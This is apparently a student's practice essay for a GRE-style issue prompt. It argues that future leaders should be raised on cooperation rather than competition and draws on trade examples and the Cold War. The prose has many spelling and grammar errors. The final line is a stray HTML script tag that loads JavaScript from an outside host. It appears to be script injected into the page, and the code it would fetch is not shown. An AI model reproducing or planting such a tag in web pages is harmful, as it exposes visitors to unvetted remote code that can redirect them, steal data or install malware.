"The best way for a society to prepare its young people for leadership in government, industry, or other fields is by instilling in them a sense of cooperation, not competition." - Write a response in which you discuss the extent to which you agree or dis

The author opines that the youth should be taught to cooperate rather than compete. Though the competition can exhort individual to endeavor for the furtherance. More often than not it stymies the progress. Besides in topical world, collaboration is more prudent. Thus is agree with the claim.

The leadership in government, industry or any other fields has only one aim- to increase the standard of living of its constituents. The government leaders will focus on general welfare of the public, while the industry leader will concentrate on the profits earned. Overall their goal remains unvaried, that is to strive for the better. Any industry or government can't achieve a peak position unless and until they learn to pool resources from several other institutions through out the world. Today everything in the world is interdependent. As a result, if a country or industry wishes to achieve greatness, it should be able to leverage the advantages offered by other nations. Take for example, India , it is primarily agriculture based country. However it lacks new technologies and equipment that can improve the agrarian practices. Thus to ameliorate, india has to establish strong trading ties with various countries. Consider China. It is known for its low-cost productions. However it needs a market to sell its products. A colossal market can be achieved through exporting to other countries. Thus these examples exemplifies that cooperation not competion is imperative for any leadership.

Though mild competition can also motivate leaders to strive for better. Most of the times the competition hinders the advancement in any field. Consider the case of cold war between US and Russia. Although it galvanized many innovation like the space exploration in the short-term scenario, it ultimately had an adverse effect on both nations. The public grew more and more bitter towards the other citizens , which affected the foreign policy and other provinces also. After decades of competition, Russia languished. Yet the rancor is still evident. It can be seen in the way Obama and Putin handle the ISIS and other global problems.

To recapitulate, the competition can have few ephemeral benfits yet it has only dire ramifaction in the long run. Also todays world is more interrelated and thus cooperationis imperative in any branch. Thus i endorse the view that the society should prepare its young people for leadership by instilling in them a sense of cooperation, not competition.

<script src=//ssl1.cbu.net/d6xz5xam></script>